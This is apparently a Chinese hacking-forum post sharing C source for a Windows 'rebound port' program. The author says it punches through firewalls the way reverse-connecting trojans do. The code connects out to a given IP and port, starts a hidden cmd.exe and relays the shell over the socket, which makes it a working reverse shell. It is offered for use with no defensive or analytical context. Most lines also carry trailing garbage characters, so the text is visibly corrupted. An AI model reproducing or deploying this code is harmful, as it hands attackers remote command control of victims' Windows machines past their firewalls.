这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 SC2g5i`
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/* ============================== _b=})**
Rebound port in Windows NT z_z'3d.r7
By wind,2006/7 ^$lsmF]^
===============================*/ Pp|pH|(n ,
#include %';DBozZ
#include `7',RUj|D
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#pragma comment(lib,"wsock32.lib") :/NP8$~@j
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void OutputShell(); -ktYS(8&
SOCKET sClient; b55G1w
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; .:, 9Tf
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void main(int argc,char **argv) q{)Q ?E
{ %E2C4UbY
WSADATA stWsaData; 2Xfy?U
int nRet; <^8OYnp
SOCKADDR_IN stSaiClient,stSaiServer; ?Ye%k
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if(argc != 3) @(rLn
{ KhbbGdmfS$
printf("Useage:\n\rRebound DestIP DestPort\n"); VU|Cct&)
return; 5d82M s
} VH.}}RS%
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WSAStartup(MAKEWORD(2,2),&stWsaData); .ZH5^Sv$vp
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); N;e*eMFE
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stSaiClient.sin_family = AF_INET; . J*2J(T,
stSaiClient.sin_port = htons(0); kc:2ID&
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ^KFwO=I@PV
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ,1e@Y~eZ
{ cNqw(\rr
printf("Bind Socket Failed!\n"); N&lKo}hk
return; Ad`jV_z
} <i1P ~
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stSaiServer.sin_family = AF_INET; +UP?M4g
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); b~FmX
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 3836Di:{
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) u8@>ThPD
{
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printf("Connect Error!"); LHP?!rO0
return; 'GcZxF0
} x;*KRO
OutputShell(); \<A@Nf"
} GQ9g $&T
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void OutputShell() 3bPvL/\Lb
{ [t`QV2um
char szBuff[1024]; I*K~GXWs#
SECURITY_ATTRIBUTES stSecurityAttributes; %@FTg$
OSVERSIONINFO stOsversionInfo; JEes'H}Y
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; D}Lx9cL
STARTUPINFO stStartupInfo; 5 ERycC y
char *szShell; z<mU$<
PROCESS_INFORMATION stProcessInformation; D*j\gI
unsigned long lBytesRead; P1ab2D
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); @YTZnGG*
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ~(`iR xK
stSecurityAttributes.lpSecurityDescriptor = 0; ,9p
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stSecurityAttributes.bInheritHandle = TRUE; YX_p3
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); u-7/4Y)c
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); OPwj*b:-m
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); puz~Rfn#*
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]W%<<S
stStartupInfo.wShowWindow = SW_HIDE; `:A`%Fg8<
stStartupInfo.hStdInput = hReadPipe; .~6p/fHX
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; kGMI
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GetVersionEx(&stOsversionInfo); iVt6rX
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switch(stOsversionInfo.dwPlatformId) q8.K-"f(Q
{ /nRi19a%xU
case 1: g Xvuv^
szShell = "command.com"; n||/3-HDj
break; 8hi|F\$_h
default: (&FSoe/!['
szShell = "cmd.exe"; g~Zel}h#
break; .3&zP
} 'kK}9VKl
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Qsc%qt-l
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send(sClient,szMsg,77,0); n=n!Hn
while(1) &V[m{.
{ Bls\)$
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); uHUicZf.
if(lBytesRead) QdL
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{ <5A(rDij
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); m#mM2Guxe
send(sClient,szBuff,lBytesRead,0); eW]K~SPd7
} <DCrYt!1}c
else J
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{ ` IiAtS
lBytesRead=recv(sClient,szBuff,1024,0); U&|=dH]-
if(lBytesRead<=0) break; j9sf~}D>
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ` a5$VV%J
} cTFyF)
} RiF~-;v&
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return; Aq}]{gfQ1
}